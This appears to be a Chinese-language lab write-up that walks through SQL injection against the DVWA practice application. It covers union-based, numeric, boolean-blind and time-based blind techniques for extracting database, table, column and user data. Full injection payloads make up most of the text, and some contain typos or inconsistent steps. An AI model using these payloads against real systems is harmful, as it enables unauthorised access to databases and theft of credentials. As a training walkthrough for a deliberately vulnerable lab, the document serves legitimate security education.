SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(摘自百度百科https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin)
SQL注入分为字符型和数字型。所谓字符型,是拼接的SQL语句是利用字符来进行判断,而非数字。数字型和字符型刚好相反,拼接的SQL语句是用数字来拼接,而非字符。
1、首先先判断是否有sql注入,以及注入的类型(数字型,字符型):
执行命令1’ and ‘1’=’1
由此可以看出来sql存在注入,且sql注入的类型为字符型。
2、开始猜解字段数
在尝试1和2的注入后,在3的时候报错,说明字段数为2
3、判断回显位置
4、查询数据库名称和版本
执行1’ union select version(),database()#
5、获取数据库中的表
执行1’ union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
6、获取表中的字段名“users”
1’union select 1,group_concat(table_name)from information_schema.tables where table_name=‘users’#
7、获取字段的数据
执行1’union select user,password from users#
1、首先查看源码
发现加入了防字符串篡改的语句,因此此处通过直接注入字符串类型是无法成功的。
2、我们以User ID=2为例,通过burp拦截后发现此处的注入类型为数字型。
3、猜解SQL查询语句的字段个数
当个数是1和2的时候都能通过,当个数为3的时候则错误,因此字段个数为2。
4、确定回显个数和回显位置
5、获取当前的数据库和版本
6、获取当前数据库所有表
7、获取表中所有表的字段名,但是由于特殊字符被过滤,因此把“users”改为16进制
8、获取字段中的数据
1、首先查看源码
可以看到和Low级别一样还是字符类型的注入,只是实现了自动跳转,避免自动化SQL注入,因此我们直接可以采用Low级别的方法来SQL注入。
SQL盲注是指SQL注入返回的结果只有是与非或者不提示任何返回字符。针对这两种情况,我们对于SQL注入可以实现两种方法来进行,一种是布尔型,一种是时间型。下面就这两种情况分别来讨论。
我们把级别设置为LOW级别。
1、同样,我们首先判断是否存在SQL注入,并判断注入类型
可看存在注入,并且是字符型。
2、猜解数据库长度
1’ and length(database())=4#
在尝试1,2,3后发现都是不存在的,在4的时候发现是存在的,因此数据库长度是4。
3、猜解数据库名称
(1)1’ and ascii(substr(database(),1,1))=100#
在尝试几次后,发现在ascii码等于100的时候显示存在因此第一个字符是‘d’。
(2)1’ and ascii(substr(database(),2,1))=118#
同理第二个字符是’v’。
(3)同理,插入SQL语句
1’ and ascii(substr(database(),3,1))=119#,第三个字符是’w’。
(4)执行1’ and ascii(substr(database(),4,1))=97#,得到第四个字符是’a’。
(5)得到数据库的名称为:dvwa。
4、猜解表的个数
1’and(select count(table_name)from information_schema.tabels
where table_schema=’dvwa’)=2#
尝试结构为1和2以及3的时候,1和2都是显示存在,当时3的时候显示不存在,因此,dvwa数据库里面有2个表。
5、猜长度
1’ and length(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 0,1),1))=9#
1’ and length(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 1,1),1))=5#
在尝试长度为1-10之间后,发现之后当结果等于9和5 的时候才显示存在。因此两张表的长度分别为5和9。
6、猜解表名
1’ and ascii(mid((select table_name from information_schema.tables
where table_schema=‘dvwa’ limit 1,1),1))=103#
在结果上尝试,最后得出来两个表名,分别为guestbook 和users
7、猜解列的个数
1’ and (select count(column_name) from information_schema.columns
where table_name=‘users’)=8#
在经过尝试1-7后都是不存在,当结果为8的时候,显示存在,因此有8列。
8、猜解列的长度
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 0,1),1))=7#
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 1,1),1))=10
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=4#
在尝试每一列的1-10的长度的长度探索后发现,8列的长度分别为:7,10,9,4,8,6,10,12。
9、猜解8列的名称
1’ and ascii(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=117#
以此方式来猜解,最后得到以下列的名称:user_id first_name last_name user password avatar last_login failed_login。
10、猜解数据(user)
1’ and (ascii(substr((select user from users limit (0,1),1),1,1)))=97#
以此方式进行猜解,最后得到user里面相关的数据有:admin,gordonb,1337,pablo,smithy。
而Medium和High和普通型中高级做法类似,在这里就不再详细描述。
我们设置级别为LOW。
1、先尝试是否有SQL注入
1’ and sleep(5)
大约5秒后,返回显示不存在,说明存在SQL注入,并且是字符型。
2、猜解数据库长度
1’ and if(length(database())=4,sleep(5),1)#
在尝试长度总1-5中,1-4在延时大约5秒返回,但是当长度等于5时,立即返回。由此可以确定数据库长度为4。
3、猜解数据库名
1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=118,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=119,sleep(5),1)#
1’ and if(ascii(substr(database(),2,1))=117,sleep(5),1)#
经过多次的猜解,得到数据库名称为dvwa。
4、猜解表的个数
1’ and if((select count(table_name) from information_schema.tables
where table_schema=‘dvwa’)=2,sleep(5),1)#
在尝试个数为1和2时都能延迟约5秒返回,但是在尝试个数为3的时候,直接返回,几乎没有延迟。因此可以判断出表个数为2.
5、猜解表长度
1’ and if(length(substr((select table_name from information_shchema.tables
where table_schema=‘dvwa’limit(0,1),1))=9,sleep(5),1))#
1’ and if(length(substr((select table_name from information_shchema.tables
where table_schema='dvwa’limit(1,1),1))=5,sleep(5),1))
在尝试一个表和第二个表的长度范围1-10后,发现第一个表长度为9,第二个表长度为5.
6、猜解表名
1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’limit 0,1),1))=97,sleep(5),1)#
按照此方法猜解,最后判断出两个表名分别为:guestbook和users。
7、猜解列的个数
1’ and (select count(column_name) from information_schema.columns
where table_name=‘users’)=8#
在经过尝试1-7后都是不存在,当结果为8的时候,显示存在,因此有8列。
8、猜解列的长度
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 0,1),1))=7#
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 1,1),1))=10
1’ and length(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=4#
在尝试每一列的1-10的长度的长度探索后发现,8列的长度分别为:7,10,9,4,8,6,10,12。
9、猜解8列的名称
1’ and ascii(mid((select column_name from information_schema.columns
where table_name=‘users’ limit 3,1),1))=117#
以此方式来猜解,最后得到以下列的名称:user_id first_name last_name user password avatar last_login failed_login。
10、猜解数据(user)
1’ and (ascii(substr((select user from users limit (0,1),1),1,1)))=97#
以此方式进行猜解,最后得到user里面相关的数据有:admin,gordonb,1337,pablo,smithy
时间型中高级做法和前面叙述中高级的方法类似,这里就不再详细诉说。